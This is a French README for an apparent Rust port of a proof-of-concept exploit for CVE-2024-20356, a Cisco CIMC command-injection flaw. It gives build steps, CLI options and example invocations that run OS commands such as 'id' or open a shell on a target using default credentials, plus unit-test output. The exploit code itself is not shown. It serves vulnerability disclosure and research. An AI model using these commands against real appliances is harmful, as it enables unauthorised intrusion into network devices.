
Une version oxydée de https://github.com/nettitude/CVE-2024-20356/blob/main/CVE-2024-20356.py
Ceci est une preuve de concept pour CVE-2024-20356, une vulnérabilité d'injection de commandes dans le CIMC de Cisco.
Écrit par Aaron et oxydé par SherllyNeo
Les détails techniques complets sont disponibles sur https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom
cargo build --release && cp ./target/release/CVE_2024_20356 ~/.local/bin/
Usage: CVE_2024_20356 [OPTIONS] --host <HOSTNAME>
Options:
-t, --host <HOSTNAME> Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u, --username <USERNAME> Username [default: admin]
-p, --password <PASSWORD> Password [default: cisco]
-a, --action <ACTION> Action to perform [default: test] [possible values: test, cmd, shell, dance]
-c, --cmd <CMD> OS command to run [default: None]
-v, --verbose Displays more information about cimc
-h, --help Print help
-V, --version Print version
Exemples de commandes :
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -v
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -c 'id'
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a shell
CVE_2024_20356 --host 192.168.x.x -u admin -p your_password -a dance
Utilisez l'argument --help pour obtenir des instructions d'utilisation complètes.
Cette preuve de concept est à des fins de démonstration et ne doit pas être utilisée pour des activités illégales. LRQA Nettitude n'est pas responsable des dommages causés par l'utilisation ou la mauvaise utilisation de ce code. Ne soyez pas malveillant
J'ai écrit ceci sans accès au serveur en me basant sur la base de code originale.
Pour cette raison, j'ai écrit des tests unitaires approfondis pour garantir que les fonctions de chiffrement correspondent à celles de l'original. Que la méthode de connexion fonctionne en utilisant un serveur simulé. Que l'analyse des arguments fonctionne pour les adresses IP.
pour exécuter ces tests, utilisez cargo --test
cargo test
Compiling CVE_2024_20356 v0.1.0
Finished `test` profile [unoptimized + debuginfo] target(s) in 2.27s
Running unittests src/main.rs (target/debug/deps/CVE_2024_20356-6d8ec478cd93405b)
running 8 tests
test libs::encryption::tests::pad_test ... ok
test libs::encryption::tests::key_fnv32_test ... ok
test libs::encryption::tests::aes_encrypt_test ... ok
test libs::encryption::tests::derive_key_and_iv_test ... ok
test libs::encryption::tests::hash_fnv32_test ... ok
test libs::encryption::tests::encrypt_test ... ok
test libs::actions::tests::login_test ... ok
test libs::arguments::validate_hostname_test ... ok
test result: ok. 8 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.02s
J'ai mis cela ici car j'ai évité d'utiliser mod.rs et pour montrer comment main est une fine couche autour de lib.
Ceci afin de permettre des tests d'intégration à l'avenir.
src
├── lib.rs
├── libs
│ ├── actions.rs
│ ├── arguments.rs
│ └── encryption.rs
└── main.rs